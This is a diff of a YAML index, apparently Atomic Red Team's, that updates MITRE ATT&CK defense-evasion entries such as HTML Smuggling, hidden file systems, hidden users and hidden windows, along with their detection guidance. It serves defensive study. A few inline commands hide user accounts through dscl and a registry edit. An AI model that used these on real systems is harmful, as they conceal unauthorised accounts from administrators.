+      - url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
+        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
+          March 5, 2019.
+        source_name: Mandiant M Trends 2016
+      - url: https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/
+        description: 'Microsoft Secure Team. (2016, June 1). Hacking Team Breach:
+          A Cyber Jurassic Park. Retrieved March 5, 2019.'
+        source_name: Microsoft Hacking Team Breach
+      - url: http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
+        description: Schroeder, W. (2017, January 10). The Most Dangerous User Right
+          You (Probably) Have Never Heard Of. Retrieved March 5, 2019.
+        source_name: Harmj0y SeEnableDelegationPrivilege Right
+    atomic_tests: []
+  T1027.006:
+    technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Hidden File System
-      description: |-
-        Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)
-
-        Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)
-      id: attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04
       type: attack-pattern
+      name: HTML Smuggling
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      x_mitre_version: '1.0'
+      modified: '2021-10-18T12:03:12.510Z'
+      created: '2021-05-20T12:20:42.219Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-06-29T15:12:11.024Z'
-      created: '2020-06-28T22:55:55.719Z'
+      id: attack-pattern--d4dc46e3-5ba5-45b9-8204-010867cacfcb
+      x_mitre_defense_bypassed:
+      - Web content filters
+      - Anti-virus
+      - Static file analysis
+      x_mitre_platforms:
+      - Windows
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
+      description: |-
+        Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)
+
+        Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.
+
+        For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)
+      x_mitre_contributors:
+      - Stan Hegt, Outflank
+      - Jonathan Boucher, @crash_wave, Bank of Canada
+      x_mitre_detection: |-
+        Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as <code>Blob</code>, <code>msSaveOrOpenBlob</code>, and/or <code>download</code> may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.
+
+        Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1027/006
+        external_id: T1027.006
+        source_name: mitre-attack
+      - url: https://www.menlosecurity.com/blog/new-attack-alert-duri
+        description: 'Subramanian, K. (2020, August 18). New HTML Smuggling Attack
+          Alert: Duri. Retrieved May 20, 2021.'
+        source_name: HTML Smuggling Menlo Security 2020
+      - url: https://outflank.nl/blog/2018/08/14/html-smuggling-explained/
+        description: Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved
+          May 20, 2021.
+        source_name: Outlflank HTML Smuggling 2018
+      - url: https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
+        description: Microsoft Threat Intelligence Center (MSTIC). (2021, May 27).
+          New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.
+        source_name: MSTIC NOBELIUM May 2021
+      - url: https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/
+        description: Warren, R. (2017, August 8). Smuggling HTA files in Internet
+          Explorer/Edge. Retrieved May 20, 2021.
+        source_name: nccgroup Smuggling HTA 2017
+    atomic_tests: []
+  T1564.005:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Hidden File System
       x_mitre_data_sources:
       - 'Windows Registry: Windows Registry Key Modification'
       - 'File: File Modification'
       - 'Firmware: Firmware Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-06-29T15:12:11.024Z'
+      created: '2020-06-28T22:55:55.719Z'
       x_mitre_permissions_required:
       - User
       - Administrator
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04
+      description: |-
+        Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)
+
+        Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_detection: Detecting the use of a hidden file system may be exceptionally
         difficult depending on the implementation. Emphasis may be placed on detecting
         related aspects of the adversary lifecycle, such as how malware interacts
@@ -28406,35 +29106,53 @@ defense-evasion:
         file on disk. Likewise, if the hidden file system is loaded on boot from reserved
         disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003)
         activity.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1564/005
+        external_id: T1564.005
+        source_name: mitre-attack
+      - url: https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html
+        description: Hutchins, M. (2014, November 28). Virtual File Systems for Beginners.
+          Retrieved June 22, 2020.
+        source_name: MalwareTech VFS Nov 2014
+      - source_name: FireEye Bootkits
+        description: 'Andonov, D., et al. (2015, December 7). Thriving Beyond The
+          Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved
+          May 13, 2016.'
+        url: https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html
+      - url: https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf
+        description: 'Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year
+          journey. Retrieved June 15, 2020.'
+        source_name: ESET ComRAT May 2020
+      - url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf
+        description: 'Kaspersky Lab''s Global Research and Analysis Team. (2015, February).
+          Equation Group: Questions and Answers. Retrieved December 21, 2015.'
+        source_name: Kaspersky Equation QA
     atomic_tests: []
   T1564.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1564.001
-        url: https://attack.mitre.org/techniques/T1564/001
-      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
-        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
-          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
-        source_name: Sofacy Komplex Trojan
-      - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
-        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
-          code. Retrieved July 5, 2017.
-        source_name: Antiquated Mac Malware
-      - url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
-        description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
-          Retrieved July 10, 2017.'
-        source_name: WireLurker
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Hidden Files and Directories
+      x_mitre_data_sources:
+      - 'File: File Creation'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Metadata'
+      x_mitre_version: '1.0'
+      modified: '2020-03-29T22:32:25.985Z'
+      created: '2020-02-26T17:46:13.128Z'
+      id: attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d
+      x_mitre_defense_bypassed:
+      - Host forensic analysis
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      - Linux
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).
 
@@ -28443,31 +29161,29 @@ defense-evasion:
         Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.
 
         Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.
-      id: attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
-      modified: '2020-03-29T22:32:25.985Z'
-      created: '2020-02-26T17:46:13.128Z'
-      x_mitre_defense_bypassed:
-      - Host forensic analysis
-      x_mitre_data_sources:
-      - 'File: File Creation'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Metadata'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: Monitor the file system and shell commands for files being
         created with a leading "." and the Windows command-line use of attrib.exe
         to add the hidden attribute.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      - Linux
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1564/001
+        external_id: T1564.001
+        source_name: mitre-attack
+      - source_name: Sofacy Komplex Trojan
+        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
+          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
+        url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
+      - source_name: Antiquated Mac Malware
+        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
+          code. Retrieved July 5, 2017.
+        url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
+      - source_name: WireLurker
+        description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware.
+          Retrieved July 10, 2017.'
+        url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
       identifier: T1564.001
     atomic_tests:
     - name: Create a hidden file in a hidden directory
@@ -28629,43 +29345,61 @@ defense-evasion:
         elevation_required: true
   T1564.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1564.002
-        url: https://attack.mitre.org/techniques/T1564/002
-      - url: http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
-        description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved
-          July 31, 2020.
-        source_name: Cybereason OSX Pirrit
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Hidden Users
-      description: |-
-        Adversaries may use hidden users to mask the presence of user accounts they create. Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account.
-
-        There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: <code>sudo dscl . -create /Users/username UniqueID 401</code>) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit).
-      id: attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-07-31T17:42:43.768Z'
-      created: '2020-03-13T20:12:40.876Z'
+      name: Hidden Users
       x_mitre_data_sources:
+      - 'Command: Command Execution'
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Process: Process Creation'
       - 'User Account: User Account Creation'
       - 'User Account: User Account Metadata'
       - 'File: File Modification'
+      x_mitre_version: '1.1'
+      modified: '2021-10-14T20:22:03.625Z'
+      created: '2020-03-13T20:12:40.876Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--8c4aef43-48d5-49aa-b2af-c0cd58d30c3d
+      x_mitre_platforms:
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       x_mitre_permissions_required:
       - root
       - Administrator
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_detection: This technique prevents the new user from showing up at the
-        log in screen, but all of the other signs of a new user still exist. The user
-        still gets a home directory and will appear in the authentication logs.
-      x_mitre_platforms:
-      - macOS
+      description: |-
+        Adversaries may use hidden users to mask the presence of user accounts they create or modify. Normal users may want to hide users when there are many users accounts on a given system or want to keep an account hidden from the other users on the system.
+
+        In macOS, every user account has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. When using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 (ex: <code>sudo dscl . -create /Users/username UniqueID 401</code>) and enabling this property (setting it to Yes), an adversary can conceal user accounts. (Citation: Cybereason OSX Pirrit)
+
+        In Windows, adversaries may hide user accounts via settings in the Registry. For example, an adversary may add a value to the Windows Registry (via [Reg](https://attack.mitre.org/software/S0075) or other means) that will hide the user “test” from the Windows login screen: <code>reg.exe ADD 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList' /v test /t REG_DWORD /d 0 /f</code>.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)
+      x_mitre_contributors:
+      - Omkar Gudhate
+      x_mitre_detection: |-
+        This technique prevents a user from showing up at the log in screen, but all of the other signs of the user may still exist. For example, "hidden" users may still get a home directory and will appear in the authentication logs.
+
+        Monitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccountsUserList</code> key.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1564/002
+        external_id: T1564.002
+        source_name: mitre-attack
+      - source_name: Cybereason OSX Pirrit
+        description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved
+          July 31, 2020.
+        url: http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
+      - url: https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html
+        description: FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s
+          Supply Chain Software Compromise. Retrieved September 22, 2021.
+        source_name: FireEye SMOKEDHAM June 2021
+      - url: https://www.us-cert.gov/ncas/alerts/TA18-074A
+        description: 'US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government
+          Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors.
+          Retrieved June 6, 2018.'
+        source_name: US-CERT TA18-074A
       identifier: T1564.002
     atomic_tests:
     - name: Create Hidden User using UniqueID < 500
@@ -28713,22 +29447,28 @@ defense-evasion:
         name: sh
   T1564.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1564.003
-        url: https://attack.mitre.org/techniques/T1564/003
-      - source_name: PowerShell About 2019
-        url: https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1
-        description: Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved
-          October 11, 2019.
-      - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
-        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
-          code. Retrieved July 5, 2017.
-        source_name: Antiquated Mac Malware
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Hidden Window
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Script: Script Execution'
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-29T22:49:43.557Z'
+      created: '2020-03-13T20:26:49.433Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      id: attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0
+      x_mitre_platforms:
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "Adversaries may use hidden windows to conceal malicious activity
         from the plain sight of users. In some cases, windows that would typically
         be displayed when an application carries out an operation can be hidden. This
@@ -28746,33 +29486,27 @@ defense-evasion:
         abuse these functionalities to hide otherwise visible windows from users so
         as not to alert the user to adversary activity on the system.(Citation: Antiquated
         Mac Malware)"
-      id: attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-03-29T22:49:43.557Z'
-      created: '2020-03-13T20:26:49.433Z'
       x_mitre_contributors:
       - Travis Smith, Tripwire
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: Monitor processes and command-line arguments for actions
         indicative of hidden windows. In Windows, enable and configure event logging
         and PowerShell logging to check for the hidden window style. In MacOS, plist
         files are ASCII text files with a specific format, so they're relatively easy
         to parse. File monitoring can check for the <code>apple.awt.UIElement</code>
         or any other suspicious plist tag in plist files and flag them.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Script: Script Execution'
-      - 'File: File Modification'
-      x_mitre_platforms:
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1564/003
+        external_id: T1564.003
+        source_name: mitre-attack
+      - url: https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1
+        description: Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved
+          October 11, 2019.
+        source_name: PowerShell About 2019
+      - source_name: Antiquated Mac Malware
+        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
+          code. Retrieved July 5, 2017.
+        url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
       identifier: T1564.003
     atomic_tests:
     - name: Hidden Window
@@ -28794,44 +29528,14 @@ defense-evasion:
         name: powershell
   T1564:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1564
-        url: https://attack.mitre.org/techniques/T1564
-      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
-        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
-          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
-        source_name: Sofacy Komplex Trojan
-      - url: http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
-        description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved
-          July 31, 2020.
-        source_name: Cybereason OSX Pirrit
-      - url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
-        description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams.
-          Retrieved March 21, 2018.
-        source_name: MalwareBytes ADS July 2015
-      - source_name: Sophos Ragnar May 2020
-        url: https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
-        description: SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys
-          virtual machine to dodge security. Retrieved June 29, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Hide Artifacts
-      description: |-
-        Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)
-
-        Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)
-      id: attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-09-23T11:31:50.636Z'
-      created: '2020-02-26T17:41:25.933Z'
+      name: Hide Artifacts
       x_mitre_data_sources:
-      - 'File: File Creation'
       - 'Process: Process Creation'
+      - 'File: File Creation'
+      - 'Application Log: Application Log Content'
       - 'Command: Command Execution'
       - 'File: File Metadata'
       - 'User Account: User Account Creation'
@@ -28841,20 +29545,49 @@ defense-evasion:
       - 'Process: OS API Execution'
       - 'Windows Registry: Windows Registry Key Modification'
       - 'Firmware: Firmware Modification'
-      - 'Process: Process Creation'
-      - 'File: File Creation'
       - 'Service: Service Creation'
-      - 'File: File Content'
-      x_mitre_detection: Monitor files, processes, and command-line arguments for
-        actions indicative of hidden artifacts. Monitor event and authentication logs
-        for records of hidden artifacts being used. Monitor the file system and shell
-        commands for hidden attribute usage.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
+      x_mitre_version: '1.1'
+      modified: '2021-10-20T19:01:56.752Z'
+      created: '2020-02-26T17:41:25.933Z'
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      - Office 365
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8
+      description: |-
+        Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)
+
+        Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      x_mitre_detection: Monitor files, processes, and command-line arguments for
+        actions indicative of hidden artifacts. Monitor event and authentication logs
+        for records of hidden artifacts being used. Monitor the file system and shell
+        commands for hidden attribute usage.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1564
+        external_id: T1564
+        source_name: mitre-attack
+      - source_name: Sofacy Komplex Trojan
+        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
+          Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.
+        url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
+      - source_name: Cybereason OSX Pirrit
+        description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved
+          July 31, 2020.
+        url: http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
+      - source_name: MalwareBytes ADS July 2015
+        description: Arntz, P. (2015, July 22). Introduction to Alternate Data Streams.
+          Retrieved March 21, 2018.
+        url: https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
+      - url: https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
+        description: SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys
+          virtual machine to dodge security. Retrieved June 29, 2020.
+        source_name: Sophos Ragnar May 2020
       identifier: T1564
     atomic_tests:
     - name: Extract binary files via VBA
@@ -28919,33 +29652,10 @@ defense-evasion:
         cleanup_command: Remove-LocalUser -Name "Administrator " 2>&1 | out-null
   T1574:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1574
-        url: https://attack.mitre.org/techniques/T1574
-      - source_name: Autoruns for Windows
-        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
-        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
-          Retrieved March 13, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Hijack Execution Flow
-      description: |-
-        Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.
-
-        There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
-      id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: persistence
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2021-04-27T19:55:20.290Z'
-      created: '2020-03-12T20:38:12.465Z'
+      name: Hijack Execution Flow
       x_mitre_data_sources:
       - 'Windows Registry: Windows Registry Key Modification'
       - 'Process: Process Creation'
@@ -28954,6 +29664,29 @@ defense-evasion:
       - 'Service: Service Metadata'
       - 'File: File Creation'
       - 'File: File Modification'
+      x_mitre_version: '1.1'
+      modified: '2021-10-14T23:52:52.536Z'
